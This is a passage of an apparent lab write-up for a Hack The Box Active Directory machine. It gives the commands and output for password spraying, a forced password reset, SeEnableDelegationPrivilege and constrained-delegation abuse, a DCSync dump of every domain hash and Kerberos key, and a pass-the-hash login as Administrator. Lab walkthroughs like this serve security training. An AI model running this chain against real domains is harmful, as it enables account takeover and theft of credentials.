MSSQL 10.129.234.50 1433 DC 1116: REDELEGATE\DnsUpdateProxy
MSSQL 10.129.234.50 1433 DC 1117: REDELEGATE\Ryan.Cooper
MSSQL 10.129.234.50 1433 DC 1119: REDELEGATE\sql_svc
User Marie.Curie
got this list of users and password sprayed them against each password in the DB but no hits, so i went back to the original password and we got a user
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ nxc smb 10.129.234.50 -u usernames.txt -p 'Fall2024!'
SMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.50 445 DC [-] redelegate.vl\DC$:Fall2024! STATUS_LOGON_FAILURE
SMB 10.129.234.50 445 DC [-] redelegate.vl\FS01$:Fall2024! STATUS_LOGON_FAILURE
SMB 10.129.234.50 445 DC [-] redelegate.vl\Christine.Flanders:Fall2024! STATUS_LOGON_FAILURE
SMB 10.129.234.50 445 DC [+] redelegate.vl\Marie.Curie:Fall2024!
the user got no shares though
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ nxc smb 10.129.234.50 -u Marie.Curie -p 'Fall2024!' --shares
SMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.50 445 DC [+] redelegate.vl\Marie.Curie:Fall2024!
SMB 10.129.234.50 445 DC [*] Enumerated shares
SMB 10.129.234.50 445 DC Share Permissions Remark
SMB 10.129.234.50 445 DC ----- ----------- ------
SMB 10.129.234.50 445 DC ADMIN$ Remote Admin
SMB 10.129.234.50 445 DC C$ Default share
SMB 10.129.234.50 445 DC IPC$ READ Remote IPC
SMB 10.129.234.50 445 DC NETLOGON READ Logon server share
SMB 10.129.234.50 445 DC SYSVOL READ Logon server share
lets get a bloodhound data
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ rusthound -d redelegate.vl -i 10.129.234.50 -u Marie.Curie -p 'Fall2024!' -z
---------------------------------------------------
Initializing RustHound at 22:20:18 on 06/19/26
Powered by g0h4n from OpenCyber
---------------------------------------------------
[2026-06-20T05:20:18Z INFO rusthound] Verbosity level: Info
[2026-06-20T05:20:19Z INFO rusthound::ldap] Connected to REDELEGATE.VL Active Directory!
[2026-06-20T05:20:19Z INFO rusthound::ldap] Starting data collection...
[2026-06-20T05:20:20Z INFO rusthound::ldap] All data collected for NamingContext DC=redelegate,DC=vl
[2026-06-20T05:20:20Z INFO rusthound::json::parser] Starting the LDAP objects parsing...
[2026-06-20T05:20:21Z INFO rusthound::json::parser] Parsing LDAP objects finished!
[2026-06-20T05:20:21Z INFO rusthound::json::checker] Starting checker to replace some values...
[2026-06-20T05:20:21Z INFO rusthound::json::checker] Checking and replacing some values finished!
[2026-06-20T05:20:21Z INFO rusthound::json::maker] 12 users parsed!
[2026-06-20T05:20:21Z INFO rusthound::json::maker] 64 groups parsed!
[2026-06-20T05:20:21Z INFO rusthound::json::maker] 2 computers parsed!
[2026-06-20T05:20:21Z INFO rusthound::json::maker] 1 ous parsed!
[2026-06-20T05:20:21Z INFO rusthound::json::maker] 1 domains parsed!
[2026-06-20T05:20:21Z INFO rusthound::json::maker] 2 gpos parsed!
[2026-06-20T05:20:21Z INFO rusthound::json::maker] 21 containers parsed!
[2026-06-20T05:20:21Z INFO rusthound::json::maker] .//20260619222021_redelegate-vl_rusthound.zip created!
RustHound Enumeration Completed at 22:20:21 on 06/19/26! Happy Graphing!
Looking at the data we got a nice chain here

Shell as Helen.Frost
lets first change the password of Helen
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ bloodyAD -d redelegate.vl --host 10.129.234.50 -u Marie.Curie -p 'Fall2024!' set password Helen.Frost 'Password123!'
[+] Password changed successfully!
Helen is part of Remote Management Users

so lets WINRM
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ evil-winrm -i 10.129.234.50 -u helen.frost -p 'Password123!'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> type ..\Desktop\user.txt
f4f1948b5b181b7bed110ecff02a762d
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents>
Shell as Administrator
looking at the privilege for Helen
*Evil-WinRM* PS C:\Users\Helen.Frost> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
we got this SeEnableDelegationPrivilege enabled for us
Identifies the assignment of the SeEnableDelegationPrivilege sensitive "user right" to a user. The SeEnableDelegationPrivilege "user right" enables computer and user accounts to be trusted for delegation. Attackers can abuse this right to compromise Active Directory accounts and elevate their privileges.
and Helen Can't Add any computer account cause its machine account quote is exceeded but we don't need to cause remember we got Generic All over the FS01 machine account so we can just take over it
so lets abuse that Privilege with the Generic All
first set the machine account to be trusted to delegation and add the ldap/dc.redelegate.vl to the allowed to delegate to service list on that computer object
*Evil-WinRM* PS C:\Users> Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
*Evil-WinRM* PS C:\Users> Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL" -Add @{"msDS-AllowedToDelegateTo"="ldap/dc.redelegate.vl"}
then lets reset the password abusing the Generic All
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ bloodyAD -d redelegate.vl --host 10.129.234.50 -u Helen.Frost -p 'Password123!' set password FS01$ 'Password123!'
[+] Password changed successfully!
now lets impersonate the dc machine account
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ getST.py 'redelegate.vl/FS01$:Password123!' -spn ldap/dc.redelegate.vl -impersonate dc
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache
the DC machine account can DCSync so lets dump the domain hashes
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ secretsdump.py -k -no-pass dc.redelegate.vl
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9288173d697316c718bb0f386046b102:::
Christine.Flanders:1104:aad3b435b51404eeaad3b435b51404ee:79581ad15ded4b9f3457dbfc35748ccf:::
Marie.Curie:1105:aad3b435b51404eeaad3b435b51404ee:a4bc00e2a5edcec18bd6266e6c47d455:::
Helen.Frost:1106:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Michael.Pontiac:1107:aad3b435b51404eeaad3b435b51404ee:f37d004253f5f7525ef9840b43e5dad2:::
Mallory.Roberts:1108:aad3b435b51404eeaad3b435b51404ee:980634f9aabfe13aec0111f64bda50c9:::
James.Dinkleberg:1109:aad3b435b51404eeaad3b435b51404ee:2716d39cc76e785bd445ca353714854d:::
Ryan.Cooper:1117:aad3b435b51404eeaad3b435b51404ee:062a12325a99a9da55f5070bf9c6fd2a:::
sql_svc:1119:aad3b435b51404eeaad3b435b51404ee:76a96946d9b465ec76a4b0b316785d6b:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:bfdff77d74764b0d4f940b7e9f684a61:::
FS01$:1103:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:db3a850aa5ede4cfacb57490d9b789b1ca0802ae11e09db5f117c1a8d1ccd173
Administrator:aes128-cts-hmac-sha1-96:b4fb863396f4c7a91c49ba0c0637a3ac
Administrator:des-cbc-md5:102f86737c3e9b2f
krbtgt:aes256-cts-hmac-sha1-96:bff2ae7dfc202b4e7141a440c00b91308c45ea918b123d7e97cba1d712e6a435
krbtgt:aes128-cts-hmac-sha1-96:9690508b681c1ec11e6d772c7806bc71
krbtgt:des-cbc-md5:b3ce46a1fe86cb6b
Christine.Flanders:aes256-cts-hmac-sha1-96:ceb5854b48f9b203b4aa9a8e0ac4af28b9dc49274d54e9f9a801902ea73f17ba
Christine.Flanders:aes128-cts-hmac-sha1-96:e0fa68a3060b9543d04a6f84462829d9
Christine.Flanders:des-cbc-md5:8980267623df2637
Marie.Curie:aes256-cts-hmac-sha1-96:616e01b81238b801b99c284e7ebcc3d2d739046fca840634428f83c2eb18dbe8
Marie.Curie:aes128-cts-hmac-sha1-96:daa48c455d1bd700530a308fb4020289
Marie.Curie:des-cbc-md5:256889c8bf678910
Helen.Frost:aes256-cts-hmac-sha1-96:6df13a248e2ce1460004d7dcce5c4f8a30ea2c53e2c7d3ef712410f102cacf61
Helen.Frost:aes128-cts-hmac-sha1-96:884020e4824c0f50e596ba7a5d635634
Helen.Frost:des-cbc-md5:1a26f249a80d70df
Michael.Pontiac:aes256-cts-hmac-sha1-96:eca3a512ed24bb1c37cd2886ec933544b0d3cfa900e92b96d056632a6920d050
Michael.Pontiac:aes128-cts-hmac-sha1-96:53456b952411ac9f2f3e2adf433ab443
Michael.Pontiac:des-cbc-md5:833dc82fab76c229
Mallory.Roberts:aes256-cts-hmac-sha1-96:c9ad270adea8746d753e881692e9a75b2487a6402e02c0c915eb8ac6c2c7ab6a
Mallory.Roberts:aes128-cts-hmac-sha1-96:40f22695256d0c49089f7eda2d0d1266
Mallory.Roberts:des-cbc-md5:cb25a726ae198686
James.Dinkleberg:aes256-cts-hmac-sha1-96:c6cade4bc132681117d47dd422dadc66285677aac3e65b3519809447e119458b
James.Dinkleberg:aes128-cts-hmac-sha1-96:35b2ea5440889148eafb6bed06eea4c1
James.Dinkleberg:des-cbc-md5:83ef38dc8cd90da2
Ryan.Cooper:aes256-cts-hmac-sha1-96:d94424fd2a046689ef7ce295cf562dce516c81697d2caf8d03569cd02f753b5f
Ryan.Cooper:aes128-cts-hmac-sha1-96:48ea408634f503e90ffb404031dc6c98
Ryan.Cooper:des-cbc-md5:5b19084a8f640e75
sql_svc:aes256-cts-hmac-sha1-96:1decdb85de78f1ed266480b2f349615aad51e4dc866816f6ac61fa67be5bb598
sql_svc:aes128-cts-hmac-sha1-96:88f45d60fa053d62160e8ea8f1d0231e
sql_svc:des-cbc-md5:970d6115d3f4a43b
DC$:aes256-cts-hmac-sha1-96:0e50c0a6146a62e4473b0a18df2ba4875076037ca1c33503eb0c7218576bb22b
DC$:aes128-cts-hmac-sha1-96:7695e6b660218de8d911840d42e1a498
DC$:des-cbc-md5:3db913751c434f61
FS01$:aes256-cts-hmac-sha1-96:c8142b9998787102dc1d596190bc28b16a1787f24e956d0a204077efc31117ba
FS01$:aes128-cts-hmac-sha1-96:48bcef06410264d5d28d91d7d8eb7cd1
FS01$:des-cbc-md5:1f8058fde68a58df
[*] Cleaning up...
login with the administrator Hash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ evil-winrm -i 10.129.234.50 -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../desktop/root.txt
6231d409a0c5f2413e35e83cfac8d6f5
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Beyond Root
just so you know, the user Marie.Curnie got 6 out of bound objects but the only one that was worth looking for is Helen
why not impersonate administrator directly ?
Since Windows Server 2012 R2+, privileged accounts (Domain Admins, Administrator, etc.) are automatically protected from being used as the target of constrained delegation impersonation. Specifically, the Administrator account typically has the not-delegated flag set (userAccountControl includes NOT_DELEGATED), or may be a member of the Protected Users group. Either of these tells the KDC: "never issue a delegated/forwarded ticket impersonating this account, even via S4U2Proxy", it's a hardening measure specifically designed to block this exact attack technique.
and if we try it we'll get this error
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ getST.py 'redelegate.vl/FS01$:Password123!' -spn ldap/dc.redelegate.vl -impersonate Administrator
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user FS01$ or initial TGT not forwardable
I also wanted to try some silver ticket stuff here but I don't have the time right now. so maybe in the future I will come back and see how far can i go if i took the silver ticket path on the MSSQL part but i don't think we can go far though
cause the furthest we can go is to find an account that can enable xp_cmdshell on the DB and then get a shell but this shell will be as sqlsvc even if we are connecting to the DB as administrator
this sqlsvc account got literally nothing over any object, so maybe it could've helped to run SharpHound to know which user to target before starting to dump usernames and password spraying
Resource
- https://hackviser.com/tactics/pentesting/services/ftp
- https://avantguard.io/en/blog/attacking-and-hardening-keepass
- https://learn.microsoft.com/en-us/sql/relational-databases/policy-based-management/guest-permissions-on-user-databases?view=sql-server-ver17
- https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/password-spraying/
- https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
- https://www.elastic.co/guide/en/security/current/prebuilt-rule-8-19-11-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user.html
- https://bloodhound.specterops.io/resources/edges/generic-all
- https://www.thehacker.recipes/ad/movement/kerberos/delegations/constrained
- https://www.silverfort.com/blog/delegation-part-two-insensitive-accounts/
